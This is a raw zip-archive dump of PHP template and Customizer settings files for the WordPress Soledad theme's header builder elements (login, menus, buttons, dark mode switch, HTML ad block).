	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\)qy	  y	  4  inc/builder/elements/pb_login_register/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
echo '<div class="pc-header-element penci-topbar-social pc-login-register"><ul class="pctopbar-login-btn">';
if ( is_user_logged_in() ) {
	// Get the URLs
	$logged_in_array = array();
	if ( current_user_can( 'manage_options' ) ) {
		$logged_in_array['dashboard'] = array(
			'icon' => 'fas fa-cog',
			'link' => admin_url(),
			'text' => penci_get_setting( 'penci_trans_dashboard_text' ),
		);
	}

	$parent_slug = get_theme_mod( 'penci_frontend_submit_account_slug', 'account' );

	$logged_in_array['profile'] = array(
		'icon' => 'far fa-user-circle',
		'link' => esc_url( home_url( '/' ) . $parent_slug . '/' . get_theme_mod( 'penci_frontend_submit_edit_account_slug', 'edit-account' ) ),
		'text' => penci_get_setting( 'penci_trans_profile_text' ),
	);

	$logged_in_array = apply_filters( 'penci_logged_in_items', $logged_in_array );

	$logged_in_array['logout'] = array(
		'icon' => 'fa-sign-out',
		'link' => wp_logout_url( home_url() ),
		'text' => penci_get_setting( 'penci_trans_logout_text' ),
	);

	$current_user = wp_get_current_user();


	$link_login = get_author_posts_url(  get_current_user_id() );
	if ( class_exists( 'WooCommerce' ) ) {
		$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
		if ( $myaccount_page ) {
			$link_login = get_permalink( $myaccount_page );
		}

	}


	$avatar_html = get_avatar( get_current_user_id(), '22' );

	echo '<li class="pclogin-item"><a href="' . $link_login . '">' . $avatar_html . ' ' . $current_user->display_name . '</a><ul class="pclogin-sub">';
	foreach ( $logged_in_array as $lgkey => $lgval ) {
		$lgicon = penci_icon_by_ver( $lgval["icon"] );
		$lglink = $lgval["link"];
		$lgtext = $lgval["text"];
		echo '<li class="pclogin-item-child pclogin-child-' . $lgkey . '"><a href="' . $lglink . '">' . $lgicon . $lgtext . '</a></li>';
	}
	echo '</ul></li>';

} else {
	$custom_text = '';
	if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_penci_tblogin_text' ) ) {
		$custom_text = '<span>' . penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_penci_tblogin_text' ) . '</span>';
	}

	echo '<li class="pclogin-item login login-popup penci-login-popup-btn"><a href="#penci-login-popup">' . penci_icon_by_ver( 'far fa-user-circle' ) . $custom_text . '</a></li>';
}

echo '</ul></div>';

add_filter( 'theme_mod_penci_tblogin', function () {
	return true;
} );
PK     N\tk:    3  inc/builder/elements/pb_login_register/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_login_register_penci_tblogin_text',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'sanitize_text_field',
	'label'           => __('Add Login Text','soledad' ),
	'description'     => __( 'Text beside the icon, leave it empty to disable', 'soledad' ),
	'type'            => 'soledad-fw-text',
	'partial_refresh' => [
		'penci_header_pb_login_register_penci_tblogin_text' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_penci_font_login_text',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font for Login Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_penci_fontw_login_text',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Login Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		''        => __('','soledad' ),
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_text_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Uppercase Text ?','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => __('Yes','soledad' ),
		'disable' => __('No','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_dropdown_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Dropdown Link Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_dropdown_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Dropdown Link Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Font Size for Icon','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_login_register_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Text','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_login_register_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_css_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\KV    1  inc/builder/elements/pb_mobile_menu/front-end.phpnu [        <?php
$header_data = $args['header_data'];
?>
<div class="pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_mobile_menu_btn_style','customize' ); ?> pc-builder-element navigation mobile-menu <?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_mobile_menu_class' ); ?>">
    <div class="button-menu-mobile header-builder"><?php penci_svg_menu_icon(); ?></div>
</div>
PK     N\gp<  <  0  inc/builder/elements/pb_mobile_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'      => 'penci_header_pb_mobile_menu_desc',
	'label'   => __('Please go to Appearance → Customize → Logo & Header → Vertical Mobile Navigation to configure the mobile menu.','soledad' ),
	'type'    => 'soledad-fw-alert',
	'default' => 'notice-bg'
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_btn_style',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_btnbstyle',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_bcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_bhcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_bghcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Mobile Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_mobile_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\sS  S  .  inc/builder/elements/pb_button_3/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_link_setting' );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_text_setting' );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_shape', 'retangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button button-3';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ($btn_link && $btn_title) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     N\Ѵ~  ~  -  inc/builder/elements/pb_button_3/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_button_3_text_setting',
	'default'   => 'Button Text',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_3_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => 'Blank',
		'_self'   => 'Self',
		'_parent' => 'Parent',
		'_top'    => 'Top',
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad' ),
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-box-model',
	
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_3_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal'  => 'Normal',
		'bold'    => 'Bold',
		'bolder'  => 'Bolder',
		'lighter' => 'Lighter',
		'100'     => '100',
		'200'     => '200',
		'300'     => '300',
		'400'     => '400',
		'500'     => '500',
		'600'     => '600',
		'700'     => '700',
		'800'     => '800',
		'900'     => '900'
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal' => 'Normal',
		'italic' => 'Italic'
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_3_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_3_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Button Font Size','soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_pb_button_3_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_3_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     =>  'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\\    .  inc/builder/elements/pb_darkmode/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$style = penci_builder_validate_mod( $header_data, 'penci_header_pb_darkmode_style', '3' );
?>
<div class="pb-header-builder pc-dmswitcher-element">
    <div class="pc_dm_mode style_<?php echo esc_attr( $style ); ?>">
        <label class="pc_dm_switch">
            <input type="checkbox" class="pc_dark_mode_toggle" aria-label="Darkmode Switcher">
            <span class="slider round"></span>
        </label>
    </div>
</div>
PK     N\҈
  
  -  inc/builder/elements/pb_darkmode/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'       => 'penci_header_pb_darkmode_desc',
	'type'     => 'soledad-fw-alert',
	'label'    => __( 'Please go to "Appearance > Customize > Dark Mode/Dark Theme": turn on the "Enable Dark Mode Switcher" option before using this feature.', 'soledad' ),
	'sanitize' => 'penci_sanitize_choices_field',
	'default'  => 'notice-bg'
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_style',
	'default'   => '3',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Style', 'soledad' ),
	'choices'   => [
		'1' => __( 'Style 1', 'soledad' ),
		'2' => __( 'Style 2', 'soledad' ),
		'3' => __( 'Style 3', 'soledad' ),
		'4' => __( 'Style 4', 'soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'General Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_d_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Day Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_d_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Day Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_n_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Night Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_n_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Night Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_darkmode_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     N\I  I  6  inc/builder/elements/pb_html_ad_mobile_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_mobile_2_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-mobile-2">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     N\pg	  g	  5  inc/builder/elements/pb_html_ad_mobile_2/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	'label'     => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_mobile_2_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_mobile_2_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_mobile_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_mobile_2_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     N\T  T  /  inc/builder/elements/pb_main_menu/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$menu_id = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_name' );
if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
		$menu_id = $pmeta_page_header['main_nav_menu'];
	}
}
$classes = [];

$classes[] = 'navigation';
$classes[] = get_theme_mod( 'penci_header_menu_style', 'menu-style-1' );
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_class', 'no-class' );
$classes[] = 'disable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_header_enable_padding' ) ? 'menu-item-normal' : 'menu-item-padding';
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_header_remove_line_hover' ) ? 'pcremove-lineh' : '';

if ( $menu_id || is_customize_preview() ) {
	?>
    <div class="pc-builder-element pc-builder-menu pc-main-menu">
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
		     <?php if ( ! penci_builder_validate_mod( $header_data, 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
			<?php
			if ( $menu_id ) {
				wp_nav_menu( array(
					'menu'        => $menu_id,
					'container'   => false,
					'menu_class'  => 'menu',
					'fallback_cb' => 'penci_menu_fallback',
					'walker'      => new penci_menu_builder_walker_nav_menu()
				) );
			}
			?>
        </nav>
    </div>
	<?php
}


PK     N\ژ1  1  .  inc/builder/elements/pb_main_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_main_menu_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	
	'label'           => esc_html__( 'Select Menu', 'soledad' ),
	'choices'         => penci_builder_menu_list(),
	'description'     => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to add new or edit your menus.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
	'partial_refresh' => [
		'penci_header_pb_main_menu_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
